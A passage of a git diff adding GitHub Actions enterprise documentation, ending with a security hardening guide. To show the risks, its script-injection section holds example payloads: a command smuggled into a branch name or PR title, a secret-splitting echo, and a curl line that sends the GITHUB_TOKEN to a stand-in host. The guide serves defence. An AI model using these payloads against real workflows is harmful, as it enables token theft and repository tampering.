[AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). You can also use policies to prevent people using repository-level self-hosted runners. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#disabling-repository-level-self-hosted-runners). + +You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/autoscaling-with-self-hosted-runners). + +Finally, you should consider security hardening for self-hosted runners. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners). + +### Storage + +{% data reusables.actions.about-artifacts %} For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). + +{% data variables.product.prodname_actions %} also has a caching system that you can use to cache dependencies to speed up workflow runs. For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). + +You can use policy settings for {% data variables.product.prodname_actions %} to customize the storage of workflow artifacts, caches, and log retention. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise). + +Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). + +## Tracking usage + +You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows. + +You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account). + +For more detailed usage data, you can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/about-webhooks). + +Make a plan for how your enterprise can pass the information from these webhooks into a data archiving system. You can consider using "CEDAR.GitHub.Collector", an open source tool that collects and processes webhook data from {% data variables.product.prodname_dotcom %}. For more information, see the [`Microsoft/CEDAR.GitHub.Collector` repository](https://github.com/microsoft/CEDAR.GitHub.Collector/). + +You should also plan how you'll enable your teams to get the data they need from your archiving system. + +## Next steps + +* [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions) diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md new file mode 100644 index 000000000000..19e07a70a129 --- /dev/null +++ b/content/enterprise-onboarding/github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md @@ -0,0 +1,91 @@ +--- +title: Migrating your enterprise to GitHub Actions +shortTitle: Migrate to Actions +intro: 'Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider.' +versions: + ghec: '*' +type: how_to +topics: + - Actions + - Enterprise + - Migration +allowTitleToDifferFromFilename: true +--- + +## About enterprise migrations to {% data variables.product.prodname_actions %} + +To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems. + +This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see [AUTOTITLE](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise). + +## Planning your migration + +Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations. + +### Leveraging migration specialists + +{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}. + +### Identifying and inventorying migration targets + +Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system. + +First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind. + +Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see [AUTOTITLE](/actions/migrating-to-github-actions). + +With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}. + +### Determine team impacts from migrations + +When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work. + +Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make. + +Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools? + +Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}. + +### Identifying and validating migration tools + +Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide. For example, you can use the {% data variables.product.prodname_actions_importer %} to plan, scope, and migrate your CI pipelines to {% data variables.product.prodname_actions %} from various supported services. For more information, see [AUTOTITLE](/actions/migrating-to-github-actions/automated-migrations/automating-migration-with-github-actions-importer). + +After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected. + +Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete. + +### Deciding on a migration approach + +Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a "rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows. + +We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too. + +Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. + +Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable. + +### Defining your migration schedule + +After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}. + +First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends. + +Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver. + +## Migrating to {% data variables.product.prodname_actions %} + +When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above. + +You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts. + +## Retiring existing systems + +After your migration is complete, you can think about retiring your existing system. + +You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers. + +Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on. + +## Next steps + +* [AUTOTITLE](/enterprise-onboarding/github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud) diff --git a/content/enterprise-onboarding/github-actions-for-your-enterprise/security-hardening-for-github-actions.md b/content/enterprise-onboarding/github-actions-for-your-enterprise/security-hardening-for-github-actions.md new file mode 100644 index 000000000000..d7da0c10122f --- /dev/null +++ b/content/enterprise-onboarding/github-actions-for-your-enterprise/security-hardening-for-github-actions.md @@ -0,0 +1,364 @@ +--- +title: Security hardening for GitHub Actions +shortTitle: Security hardening +intro: 'Learn security practices for using {% data variables.product.prodname_actions %} features.' +versions: + ghec: '*' +type: overview +topics: + - Security + - Actions +allowTitleToDifferFromFilename: true +--- + +## Overview + +This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions). + +## Using secrets + +Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/security-guides/using-secrets-in-github-actions) can be configured at the organization, repository, or environment level, and allow you to store sensitive information in {% data variables.product.github %}. + +Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.github %}. This occurs when the secret is submitted [using the UI](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository) or through the [REST API](/rest/actions/secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.github %}'s infrastructure. Once the secret is uploaded, {% data variables.product.github %} is then able to decrypt it so that it can be injected into the workflow runtime. + +To help prevent accidental disclosure, {% data variables.product.github %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets used within the job, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. Additionally, the runner can only redact secrets used within the current job. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets: + +* **Never use structured data as a secret** + * Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value. +* **Register all secrets used within workflows** + * If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output. + * Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too. +* **Audit how secrets are handled** + * Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. + * View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. For information on how to clean up workflow logs that may unintentionally contain sensitive data, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#deleting-logs). +* **Use credentials that are minimally scoped** + * Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. + * Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#github-context). You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). +* **Audit and rotate registered secrets** + * Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. + * Rotate secrets periodically to reduce the window of time during which a compromised secret is valid. +* **Consider requiring review for access to secrets** + * You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions) and [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment). + +> [!WARNING] +> Any user with write access to your repository has read access to all secrets configured in your repository. Therefore, you should ensure that the credentials being used within workflows have the least privileges required. + +## Using `CODEOWNERS` to monitor changes + +You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. + +For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). + +## Understanding the risk of script injections + +When creating workflows, [custom actions](/actions/creating-actions/about-custom-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action), you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. + + Attackers can add their own malicious content to the [`github` context](/actions/learn-github-actions/contexts#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. + + You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner). + +In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. + +The following sections explain how you can help mitigate the risk of script injection. + +### Example of a script injection attack + +A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: + +{% raw %} + +```yaml + - name: Check PR title + run: | + title="${{ github.event.pull_request.title }}" + if [[ $title =~ ^octocat ]]; then + echo "PR title starts with 'octocat'" + exit 0 + else + echo "PR title did not start with 'octocat'" + exit 1 + fi +``` + +{% endraw %} + +This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. + +To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: + +![Screenshot of the title of a pull request in edit mode. A new title has been entered in the field: a"; ls $GITHUB_WORKSPACE".](/assets/images/help/actions/example-script-injection-pr-title.png) + +In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: + +```shell +Run title="a"; ls $GITHUB_WORKSPACE"" +README.md +code.yml +example.js +``` + +## Good practices for mitigating script injection attacks + +There are a number of different approaches available to help you mitigate the risk of script injection: + +### Using an action instead of an inline script (recommended) + +The recommended approach is to create a JavaScript action that processes the context value as an argument. This approach is not vulnerable to the injection attack, since the context value is not used to generate a shell script, but is instead passed to the action as an argument: + +```yaml +uses: fakeaction/checktitle@v3 +with: + title: {% raw %}${{ github.event.pull_request.title }}{% endraw %} +``` + +### Using an intermediate environment variable + +For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable. + +The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable: + +```yaml + - name: Check PR title + env: + TITLE: {% raw %}${{ github.event.pull_request.title }}{% endraw %} + run: | + if [[ "$TITLE" =~ ^octocat ]]; then + echo "PR title starts with 'octocat'" + exit 0 + else + echo "PR title did not start with 'octocat'" + exit 1 + fi +``` + +In this example, the attempted script injection is unsuccessful, which is reflected by the following lines in the log: + +```shell + env: + TITLE: a"; ls $GITHUB_WORKSPACE" +PR title did not start with 'octocat' +``` + +With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}. + +### Using workflow templates for {% data variables.product.prodname_code_scanning %} + +{% data reusables.advanced-security.starter-workflows-beta %} +{% data variables.product.prodname_code_scanning_caps %} allows you to find security vulnerabilities before they reach production. {% data variables.product.github %} provides workflow templates for {% data variables.product.prodname_code_scanning %}. You can use these suggested workflows to construct your {% data variables.product.prodname_code_scanning %} workflows, instead of starting from scratch. {% data variables.product.company_short %}'s workflow, the {% data variables.code-scanning.codeql_workflow %}, is powered by {% data variables.product.prodname_codeql %}. There are also third-party workflow templates available. + +For more information, see [AUTOTITLE](/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning) and [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/configuring-advanced-setup-for-code-scanning#configuring-code-scanning-using-third-party-actions). + +### Restricting permissions for tokens + +To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token). + +## Managing permissions for {% data variables.product.prodname_actions %} settings in your organization + +You can practice the principle of least privilege for your organization's CI/CD pipeline with {% data variables.product.prodname_actions %} by administering custom organization roles. A custom organization role is a way to grant an individual or team in your organization the ability to control certain subsets of settings without granting full administrative control of the organization and its repositories. + +{% data reusables.actions.org-roles-for-gh-actions %} + +For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles). + +## Using OpenID Connect to access cloud resources + +{% data reusables.actions.about-oidc-short-overview %} + +{% data reusables.actions.oidc-custom-claims-aws-restriction %} + +## Using third-party actions + +The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them. + +This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner). + +You can help mitigate this risk by following these good practices: + +* **Pin actions to a full length commit SHA** + + Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. {% data reusables.actions.actions-pin-commit-sha %} + +* **Audit the source code of the action** + + Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged. + +* **Pin actions to a tag only if you trust the creator** + + Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action. + +## Reusing third-party workflows + +The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows). + +## Using {% data variables.product.prodname_dependabot_version_updates %} to keep actions up to date + +{% data reusables.actions.dependabot-version-updates-for-actions %} + +## Allowing workflows to access internal and private repositories + +{% data reusables.actions.outside-collaborators-actions %} For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). + +{% data reusables.actions.scoped-token-note %} + +## Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests + +{% data reusables.actions.workflow-pr-approval-permissions-intro %} Allowing workflows, or any other automation, to create or approve pull requests could be a security risk if the pull request is merged without proper oversight. + +For more information on how to configure this setting, see [AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#preventing-github-actions-from-creating-or-approving-pull-requests), [Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-creating-or-approving-pull-requests), and [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#preventing-github-actions-from-creating-or-approving-pull-requests). + +## Using {% data variables.product.prodname_code_scanning %} to secure workflows + +{% data reusables.code-scanning.beta-actions-analysis %} + +{% data variables.product.prodname_code_scanning_caps %} can automatically detect and suggest improvements for common vulnerable patterns used in {% data variables.product.prodname_actions %} workflows. +For more information on how to enable {% data variables.product.prodname_code_scanning %}, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). + +## Using OpenSSF Scorecards to secure workflow dependencies + +[Scorecards](https://github.com/ossf/scorecard) is an automated security tool that flags risky supply chain practices. You can use the [Scorecards action](https://github.com/marketplace/actions/ossf-scorecard-action) and [workflow template](https://github.com/actions/starter-workflows) to follow best security practices. Once configured, the Scorecards action runs automatically on repository changes, and alerts developers about risky supply chain practices using the built-in {% data variables.product.prodname_code_scanning %} experience. The Scorecards project runs a number of checks, including script injection attacks, token permissions, and pinned actions. + +## Potential impact of a compromised runner + +These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. + +> [!NOTE] +> {% data variables.product.prodname_dotcom %}-hosted runners do not scan for malicious code downloaded by a user during their job, such as a compromised third party library. + +### Accessing secrets + +Workflows triggered from a forked repository using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues`, `push` and `pull_request` from a branch within the repository, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token). + +* If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. +* If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. +* For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: + + {% raw %} + + ```yaml + uses: fakeaction/publish@v3 + with: + key: ${{ secrets.PUBLISH_KEY }} + ``` + + {% endraw %} + +Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker. + +### Exfiltrating data from a runner + +An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/security-guides/using-secrets-in-github-actions#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. + +### Stealing the job's `GITHUB_TOKEN` + +It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#`. + +### Modifying the contents of a repository + +The attacker server can use the {% data variables.product.github %} API to [modify repository content](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token). + +## Considering cross-repository access + +{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file, elevating the permissions of the `GITHUB_TOKEN` if necessary. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. + +If your organization is owned by an enterprise account, then you can share and reuse {% data variables.product.prodname_actions %} by storing them in internal repositories. For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). + +You can perform other privileged, cross-repository interactions by referencing a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. + +This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: + +1. **The `GITHUB_TOKEN`** + * This token is intentionally scoped to the single repository that invoked the workflow, and can have the same level of access as a write-access user on the repository. The token is created before each job begins and expires when the job is finished. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication). + * The `GITHUB_TOKEN` should be used whenever possible. +1. **Repository deploy key** + * Deploy keys are one of the only credential types that grant read or write access to a single repository, and can be used to interact with another repository within a workflow. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys). + * Note that deploy keys can only clone and push to the repository using Git, and cannot be used to interact with the REST or GraphQL API, so they may not be appropriate for your requirements. +1. **{% data variables.product.prodname_github_app %} tokens** + * {% data variables.product.prodname_github_apps %} can be installed on select repositories, and even have granular permissions on the resources within them. You could create a {% data variables.product.prodname_github_app %} internal to your organization, install it on the repositories you need access to within your workflow, and authenticate as the installation within your workflow to access those repositories. For more information, see [AUTOTITLE](/apps/creating-github-apps/guides/making-authenticated-api-requests-with-a-github-app-in-a-github-actions-workflow). +1. **{% data variables.product.pat_generic %}s** + * You should never use a {% data variables.product.pat_v1 %}. These tokens grant access to all repositories within the organizations that you have access to, as well as all personal repositories in your personal account. This indirectly grants broad access to all write-access users of the repository the workflow is in. + * If you do use a {% data variables.product.pat_generic %}, you should never use a {% data variables.product.pat_generic %} from your own account. If you later leave an organization, workflows using this token will immediately break, and debugging this issue can be challenging. Instead, you should use a {% data variables.product.pat_v2 %} for a new account that belongs to your organization and that is only granted access to the specific repositories that are needed for the workflow. Note that this approach is not scalable and should be avoided in favor of alternatives, such as deploy keys. +1. **SSH keys on a personal account** + * Workflows should never use the SSH keys on a personal account. Similar to {% data variables.product.pat_v1_plural %}, they grant read/write permissions to all of your personal repositories as well as all the repositories you have access to through organization membership. This indirectly grants broad access to all write-access users of the repository the workflow is in. If you're intending to use an SSH key because you only need to perform repository clones or pushes, and do not need to interact with public APIs, then you should use individual deploy keys instead. + +## Hardening for {% data variables.product.prodname_dotcom %}-hosted runners + +{% data reusables.actions.enterprise-github-hosted-runners %} + +{% data variables.product.prodname_dotcom %}-hosted runners take measures to help you mitigate security risks. + +### Reviewing the supply chain for {% data variables.product.prodname_dotcom %}-hosted runners + +For {% data variables.product.prodname_dotcom %}-hosted runners created from images maintained by {% data variables.product.company_short %}, you can view a software bill of materials (SBOM) to see what software was pre-installed on the runner. You can provide your users with the SBOM which they can run through a vulnerability scanner to validate if there are any vulnerabilities in the product. If you are building artifacts, you can include this SBOM in your bill of materials for a comprehensive list of everything that went into creating your software. + +SBOMs are available for Ubuntu, Windows, and macOS runner images maintained by {% data variables.product.company_short %}. You can locate the SBOM for your build in the release assets at https://github.com/actions/runner-images/releases. An SBOM with a filename in the format of `sbom.IMAGE-NAME.json.zip` can be found in the attachments of each release. + +For third-party images, such as the images for ARM-powered runners, you can find details of the software that's included in the image in the [`actions/partner-runner-images` repository](https://github.com/actions/partner-runner-images). + +### Denying access to hosts + +{% data reusables.actions.runners-etc-hosts-file %} For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners). + +## Hardening for self-hosted runners + +**{% data variables.product.prodname_dotcom %}-hosted** runners execute code within ephemeral and clean isolated virtual machines, meaning there is no way to persistently compromise this environment, or otherwise gain access to more information than was placed in this environment during the bootstrap process. + +**Self-hosted** runners for {% data variables.product.github %} do not have guarantees around running in ephemeral clean virtual machines, and can be persistently compromised by untrusted code in a workflow. + +As a result, self-hosted runners should almost [never be used for public repositories](/actions/hosting-your-own-runners/managing-self-hosted-runners/about-self-hosted-runners#self-hosted-runner-security) on {% data variables.product.github %}, because any user can open pull requests against the repository and compromise the environment. Similarly, be cautious when using self-hosted runners on private or internal repositories, as anyone who can fork the repository and open a pull request (generally those with read access to the repository) are able to compromise the self-hosted runner environment, including gaining access to secrets and the `GITHUB_TOKEN` which, depending on its settings, can grant write access to the repository. Although workflows can control access to environment secrets by using environments and required reviews, these workflows are not run in an isolated environment and are still susceptible to the same risks when run on a self-hosted runner. + +{% data reusables.actions.disable-selfhosted-runners-crossrefs %} + +When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.github %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. You can restrict what workflows, organizations and repositories can access runner groups. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). + +You should also consider the environment of the self-hosted runner machines: +* What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others. +* Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment. + +Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages. + +### Using just-in-time runners + +To improve runner registration security, you can use the REST API to create ephemeral, just-in-time (JIT) runners. These self-hosted runners perform at most one job before being automatically removed from the repository, organization, or enterprise. For more information about configuring JIT runners, see 